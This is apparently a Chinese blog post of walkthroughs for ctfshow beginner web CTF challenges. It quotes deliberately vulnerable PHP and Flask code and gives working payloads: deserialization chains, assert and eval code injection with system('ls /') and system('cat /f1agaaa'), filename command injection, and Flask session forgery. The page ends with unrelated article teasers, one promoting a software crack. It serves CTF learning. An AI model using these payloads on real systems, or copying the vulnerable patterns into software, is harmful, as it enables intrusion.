ctfshow 菜狗杯

news/2025/9/19 21:38:52/文章来源:https://www.cnblogs.com/zdqjudy/p/19101748

ctfshow 小舔田?

<?php
include "flag.php";
highlight_file(__FILE__);class Moon{public $name="月亮";public function __toString(){return $this->name;}public function __wakeup(){echo "我是".$this->name."快来赏我";}
}class Ion_Fan_Princess{public $nickname="牛夫人";public function call(){global $flag;if ($this->nickname=="小甜甜"){echo $flag;}else{echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";}}public function __toString(){$this->call();return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;}
}if (isset($_GET['code'])){unserialize($_GET['code']);}else{$a=new Ion_Fan_Princess();echo $a;
}

一个经典的php反序列化,有点小复杂比较绕,总得来说就是要调用call()函数输出flag,输出flag的前提是 Ion_Fan_Princess类中的nickname为"小甜甜",然而 Ion_Fan_Princess类中的_toString()函数调用了call()方法,

然而我们是可以通过一个类的_toStrng方法去调用另外一个类中的_toString方法,那么我们就可以将创建的Moon类中的name属性设置为 Ion_Fan_Princess对象(在PHP中完全可以将一个对象的属性设置为另一个对象

那么可以得出思路

  • 创建一个<font style="color:rgb(64, 64, 64);">Moon</font>对象,将其<font style="color:rgb(64, 64, 64);">name</font>属性设置为<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>对象
  • 设置<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>对象的<font style="color:rgb(64, 64, 64);">nickname</font>为"小甜甜"
  • 序列化这个<font style="color:rgb(64, 64, 64);">Moon</font>对象并通过<font style="color:rgb(64, 64, 64);">code</font>参数传递
  • 得到序列化后的pop链
  • 当反序列化这个pop链时:
  1. 会先调用<font style="color:rgb(64, 64, 64);">Moon</font><font style="color:rgb(64, 64, 64);">__wakeup</font>方法
  2. <font style="color:rgb(64, 64, 64);">__wakeup</font>方法中<font style="color:rgb(64, 64, 64);">echo "我是".$this->name."快来赏我";</font>会尝试将<font style="color:rgb(64, 64, 64);">$this->name</font>(即<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>对象)当作字符串使用
  3. 这会触发<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font><font style="color:rgb(64, 64, 64);">__toString</font>方法
  4. <font style="color:rgb(64, 64, 64);">__toString</font>方法调用<font style="color:rgb(64, 64, 64);">call()</font>方法
  5. 因为<font style="color:rgb(64, 64, 64);">nickname</font>是"小甜甜",所以会输出flag

ctfshow 一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;} 
} 

这个代码会检查是否存在GET传参num,传入的num值是否为114514(好啊,来啊)(松散判断,可以加入非数字字符绕过),assert函数会判断为真还是为假,当如果参数是字符串,PHP 会将其作为 PHP 代码动态执行。如果参数是表达式,PHP 会直接计算其值。

如果get传参为1919810(要去了,野兽!)即可,但是前面又要求num值为114514,逻辑上是不成立的,但是php在动态解析数字表达式的时候,遇到非数字字符就会直接停止解析, 而且assert函数会直接计算数字表达式,那我们只要直接构造payload

:::info
?num=114514%2b1805296

:::

%2b是+的url编码,上面的payload在表达式"if ($_GET['num'] == 114514)"中,会直接输出114514(遇到非数字字符直接停止解析),在表达式"assert("intval($_GET[num])==1919810")"中,由于assert函数会将字符串作为代码动态执行,所以会直接计算num的值,得到num为1919810,综上即可得到答案

ctfshow 抽老婆

进入题目,AUV,这不是蔚蓝档案的小春吗,扫了目录但是没什么线索,看看源码喵

可以利用get参数访问文件,感觉可能是文件包含,看看能不能用伪协议直接看flag.php

看来这是被过滤了,那不看flag.php了,我随便看看什么图片吧

可以看到直接报错了,报错信息中可以得知这个网站使用flask框架写的,,看看能不能下载app.py来看题目源码

看来不能直接下载,使用相对路径看看

成功了,打开看看

# !/usr/bin/env python
# -*-coding:utf-8 -*-"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""from flask import *
import os
import random
from flag import flag#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])
def index():  return render_template('index.html')@app.route('/getwifi', methods=['GET'])
def getwifi():session['isadmin']=Falsewifi=random.choice(os.listdir('static/img'))session['current_wifi']=wifireturn render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])
def source(): filename=request.args.get('file')if 'flag' in filename:return jsonify({"msg":"你想干什么?"})else:return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():if session['isadmin']:return jsonify({"msg":flag})else:return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=True)

这段代码中使用了多个引用,可以看到'/secret_path_U_never_know'路径中,存在一个session验证,如果session中的isadmin为true的话就会输出flag,那我们就可以尝试一下flask的session伪造,构造一个isadmin为true的session上传即可,密钥在源码中也给出来了

利用burp抓包看看本来的session长什么样(非常奇怪,不知道为什么这个页面抓包只有老版本的burp抓包会显示cookie,其他抓包软件比如yakit,新版本的burp都不会显示)

使用flask-session-cookie-manager-master工具伪造session

这样就可以得到伪造的session了

成功解出题目

ctfshow 传说之下(雾)

这边直接修改前段源码看会不会给flag

不行,一吃新豆子就会刷新非常难受兄弟

继续看源码也没看出来什么名堂

控制台告诉我达到2077就可以直接给我flag,但是不能修改前段代码,那我能不能尝试修改游戏的源码呢

猜测这个函数的意义就是每吃到一颗豆子就可以加一分,那我直接修改一个大的

欧克啊,直接保存一下,再玩会游戏

有点小阴险,不是页面直接弹窗给你而是写在控制台里面

ctfshow 化零为整

<?phphighlight_file(__FILE__);
include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){if (strlen($_GET[$i])>1){die("你太长了!!");}else{$result=$result.$_GET[$i];}
}if ($result ==="大牛"){echo $flag;
}

代码审计,设置一个result变量为空,for循环遍历GET数组里面每一个参数,如果某一个参数长度大于一,输出“你太长了!!”,结束代码。如果每个参数都满足长度小于等于一的情况,则将参数的值拼接到result变量(应该就是字符串)后,最后检查result变量是否强等于"大牛",既检查变量类型,又检查变量的值。

特别注意的一个点

这里其实规定了get数组里面的参数名称。$i规定了为1到get数组的长度,那里面的键就只能为1,2,3,4.....这种,这里特别注意,我写题的时候随便设置一些字母作为get参数导致报错

还要注意的一个点是

  • 在 PHP 中,<font style="color:rgb(64, 64, 64);">strlen()</font> 函数计算的是字节数,而不是字符数。
  • 对于 UTF-8 编码的中文字符,每个中文字符占用 3 个字节。因此,<font style="color:rgb(64, 64, 64);">strlen("大")</font><font style="color:rgb(64, 64, 64);">strlen("牛")</font> 的结果是 3,而不是 1。

所以这里我们传参就需要提前把字符串转化为url编码

:::info
?1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b

:::

ctfshow 我的眼里只有$

php extract函数解释

php中的extract()函数,创造一个符号表,允许将传进来的数组键名作为变量名,使用数组键值作为变量值,而且如果变量已经存在,会覆盖原来的变量

php****

<?php
extract($_POST);
echo $a; // 输出用户输入的a字段的值
echo $b; // 输出用户输入的b字段的值
?>

如果用户输入 a=1b=2 并提交表单,输出将是:

复制

1
2

这是因为 extract($_POST);$_POST 数组中提取 ab,并将它们作为变量 $a$b 导入到当前符号表中。

题解

学习完这个函数后我们看这个源码,可以看到我们每传入一个变量比如a,它在符号表中就会被加上一个$的前缀,例如,我们传入_=a,在符号表中就会变为$=a,如果我们再传入一个a=b,那么就会变为$$=b,然而这里的eval函数中存在36个$前缀,如果嫌麻烦可以自行编写脚本,难度不高。在这里我直接给出payload

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w
&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s
&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

即可得出答案

不得不说这些题确实花里胡哨的

ctfshow TapTapTap

又是这种游戏,那么大概率在页面源码里面能找到什么信息

每个可以点的连接都点了一遍,发现这个玩意给我下载了一个js文件,打开一看

看了一遍就觉得这两行代码可疑,看着像base64编码,解码一下看看

成功找到flag,当然如果你厉害的话直接闯过20关也会直接给你flag

ctfshow web2 c0me_t0_s1gn

打开源码看看

给了提示,让我看看控制台

让我运行g1ve_flag()来获得flag那就试试

到此,flag就出来了

ctfshow webshell

 <?php error_reporting(0);   // 关闭错误报告class Webshell {      // Webshell类public $cmd = 'echo "Hello World!"';  // 公有变量cmd为字符串echo "Hello World!"public function __construct() {       // 公有构造函数,创建新对象前调用$this->init();                    // 变量this调用init函数}public function init() {              // 公有函数init// 如果在变量this调用的cmd中未匹配到由大写或小写字母组成的子串“flag”if (!preg_match('/flag/i', $this->cmd)) {$this->exec($this->cmd);      // 变量this调用exec函数 传入this调用cmd的返回值}}public function exec($cmd) {          // 公有函数exec$result = shell_exec($cmd);       // 变量result接受cmd执行shell命令返回的字符串形式echo $result;                     // 输出result}}if(isset($_GET['cmd'])) {                 // 如果get请求传入的cmd值存在且非空$serializecmd = $_GET['cmd'];         // 变量serializecmd接收get请求传入的cmd值// 变量unserializecmd接收变量serializecmd反序列化的结果$unserializecmd = unserialize($serializecmd);$unserializecmd->init();              // 变量unserializecmd调用init函数}else {                                    // 否则highlight_file(__FILE__);             // 高亮显示当前文件}?> 

首先我们尝试向 cmd 传入 ls 命令查询当前目录下的文件,既然是由 shell_exec 函数处理命令就不需要使用 system() 了。

因为文件名含有字符串 flag,按 init 函数的过滤规则不能直接 <font style="color:rgb(21, 167, 167);">cat flag.php</font>,这里采用模糊匹配 <font style="color:rgb(21, 167, 167);">cat f*</font> 打开唯一符合条件的文件 flag.php,序列化值为 <font style="color:rgb(21, 167, 167);">O:8:"Webshell":1:{s:3:"cmd";s:6:"cat fl*";}</font>


这里我卡了好久,理应是出flag了的,后面问了大佬才知道使用 cat 命令打开文件无法直接输出文件内容的原因是:浏览器只获取服务器生成的 html 文件,而 flag 文件是 php 文件,浏览器无法直接识别 php 文件,只能将其转换为注释。所以我们得查看html文件才能得到flag

但是不知道为什么cat逆序输出就可以直接显示在界面上

ctfshow 茶歇区

首先试试看改前段代码能不能直接修改分数获得flag

这么看来不行,只给fp余额1024不可能达到114514分,那就试试整数溢出漏洞,先尝试一个非常大的数字

可以看到余额一下变得特别多,但问题是分数也变得奇小无比

当我尝试19位9罐咖啡的时候积分为零,这里看到"9223372036854775807"这个数字,貌似是int64位的最大数字,果然还是存在溢出的,但是溢出过多貌似也没用,而且一罐咖啡能加十分,那就试一下传18位9罐咖啡,正好大于9223372036854775807这个数字,flag就直接出来了

多次尝试后发现,只要是第一次传入的数字大于9223372036854775807多一点,如果是咖啡的话就得是18位,其他的随意(不过矿泉水和大火腿对数据有限制建议不要用)那么获得的余额会非常大,再尝试一次相同的数字就可以满足分数大于114514的要求爆flag了

ctfshow LSB探姬

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':try:f = request.files['file']f.save('upload/'+f.filename)cmd="python3 tsteg.py upload/"+f.filenameresult=os.popen(cmd).read()data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}return jsonify(data)except:data={"code":1,"message":"file upload error!"}return jsonify(data)else:return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():return render_template('source.html')
if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

查看题目源码,发现是直接将上传的文件名拼接到路径后面,这样我们就可以进行命令注入,在文件名后加上;"命令"

原理

在 Unix/Linux shell 中:

  • 分号 <font style="color:rgb(64, 64, 64);">;</font> 是命令分隔符,允许在一行中执行多个命令
  • 管道 <font style="color:rgb(64, 64, 64);">|</font>、重定向 <font style="color:rgb(64, 64, 64);">></font><font style="color:rgb(64, 64, 64);"><</font> 等符号也可以被利用
  • 反引号 <font style="color:rgb(64, 64, 64);"><font style="color:rgb(64, 64, 64);"> 或 </font>$()` 可以用来执行子命令

:::info
cmd="python3 tsteg.py upload/"+f.filename

        result=os.popen(cmd).read()

:::

可以知道flag就在flag.py里面

ctfshow-菜狗杯-web签到

image-20250202220352642

主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:

首先最里面是‘CTFshow-QQ群’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;那如果我们在cookie中传入CTFshow-QQ群=a,那么一句话木马就变成了:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入的a=b,那么就变为了:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c,就得到:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4],其中$_REQUEST是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。因为PHP数组是可以指定ID键分配值的,那么我们就可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system('ls /');

于是我们用POST形式发包,同时注意“群”要用url编码,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受,这里放在了请求实体中):

Cookie: CTFshow-QQ%E7%BE%A4:=a

image-20250202220509540

可以看到根目录下的文件,但是可以得知flag就在f1agaaa里面

image-20250202220524718

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/908106.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:测试用例详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

国际服务器(VPS):泰国、印尼、菲律宾、马来西亚、香港、台湾、新加坡、日本、美国、英国等。

VPS 国际服务器(VPS):泰国、印尼、菲律宾、马来西亚、香港、台湾、新加坡、日本、美国、英国等。 mleo.siteVPS推荐 泰国、印尼、韩国、菲律宾、马来西亚、亚太等 Lightnode:1C2G-$7.71/Month 美国(Month) CloudCo…

缓存常见问题

缓存常见问题 缓存穿透 概念: 查询缓存中没有,数据库也没有的数据,大量的请求都穿透了缓存层直达数据库,导致数据库因压力过大而宕机。 本质是一种人为攻击手段。 解决方案:数据库不存在数据时,存放一个临时数据到缓存…

ctfshow 电子取证

这里的电子取证应该说算入门难度,不是很难,感兴趣的新手可以了解一下JiaJia-CP-1 先把题目文件下载下来看到是raw后缀,常见的内存镜像的后缀,使用volatility打开(这边真心建议使用kali中的volatility打开,windows…

插入排序与希尔排序 - 实践

插入排序与希尔排序 - 实践2025-09-19 21:28 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; …

最新IDEA 2025 专业版破解永久破解教程(附资源)intellij IDEA

一、intellij idea软件下载 [软件名称]:intellij idea 克网盘下载链接:https://pan.quark.cn/s/2af0fb5ec2e5 迅雷文件分享:Intellij IDEA 2025链接:https://pan.xunlei.com/s/VO_X5mj3eocLmO5BuL5ztWKhA1?pwd=uw…

AtCoder ABC423F - Loud Cicada 题解 容斥原理

题目大意: 问 \([1, Y]\) 范围内有多少个数是:\(A_1, A_2, \ldots, A_N\) 中恰好 \(K\) 个数的倍数。 解题思路: 容斥原理。 思路完全来自 StelaYuri大佬的博客。 示例程序: #include <bits/stdc++.h> using…

1756:八皇后

题目 总时间限制: 1000ms 内存限制: 65536kB 描述 会下国际象棋的人都很清楚:皇后可以在横、竖、斜线上不限步数地吃掉其他棋子。如何将8个皇后放在棋盘上(有8 * 8个方格),使它们谁也不能被吃掉!这就是著名的八皇…

矩阵置零-leetcode

题目描述 给定一个 *m* x *n* 的矩阵,如果一个元素为 0 ,则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1:输入:matrix = [[1,1,1],[1,0,1],[1,1,1]] 输出:[[1,0,1],[0,0,0],[1,0,1]]示例 2:输…

重新开始配置hadoop等

重新开始配置hadoop等1

IIS 部署 asp.net core 实用的方案时,出现500.19、500.31问题的解决方案

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

嘉立创常用快捷键

在EDA设计中使用快捷键能帮我们快速完成设计, 本人使用的是嘉立创EDA专业版,快捷键设置可以打开设置如下图打开之后我们可以对快捷键进行调整设置。附常用快捷键: 基础操作 空格键:旋转所选图形。 R:旋转图形。 X:…

02020402 EF Core基础02-EF Core数据的增删改查

02020402 EF Core基础02-EF Core数据的增删改查 1. EF Core数据的增删改查(视频3-3)创建.NET Core控制台项目,项目文档如下。// Book.cs using System;namespace EF CoreDemo {public class Book{public long Id {…

conda 无法安装依赖 CondaHTTPError: HTTP 000 CONNECTION FAILED for url: tsinghua tencentaliyun

在成功安装conda软件后, 尝试安装python 虚拟环境 或 python 依赖包,但报CondaHTTPError,查阅网上资料说:将下载源更换成 国内源(tsinghua/aliyun/tencent),但下载时依旧报相同的错. PS C:\Users\xxx> conda cr…

牛客刷题-Day2

动态规划1:线性dp、背包问题,区间 https://ac.nowcoder.com/acm/contest/24213?from=acdiscuss牛客刷题-Day2 今日题目:\(1006-1010\) 1006 免费馅饼 题目描述 \(SERKOI\) 最新推出了一种叫做“免费馅饼”的游戏:…

实用指南:kafka 原理详解

实用指南:kafka 原理详解2025-09-19 21:06 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; f…

图解支付系统账务系统核心设计 - 智慧园区

支付系统的稳定运行离不开账务系统的支撑,其需精准处理资金流与信息流,涵盖账户分类、复式记账、清结算对账等核心模块,深入理解其设计逻辑,是搭建可靠支付架构的关键。在前一篇的“图解支付系统账务系统设计入门”…

网络编程-HTTP - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

vulnhub(持续更新)

内网渗透的靶场,复现cve也挺有意思的vulnhub Earth 一、信息收集二、端口扫描三开始渗透发现直接访问貌似访问不进去,仔细查看nmap扫描结果发现两条dns记录,可以知道192.168.44.133会被dns服务器解析为earth.local,…

小爱同学连接电脑进行交互 教程

所需材料 我们希望整个过程的材料尽量简化。以下是必备的设备:小爱音箱(如 Redmi 音箱 Play) 一台支持 Docker 的设备(如小主机,NAS,或电脑) 你需要控制的电脑实现流程 整个实现路径如下:传输指令:我们通过小…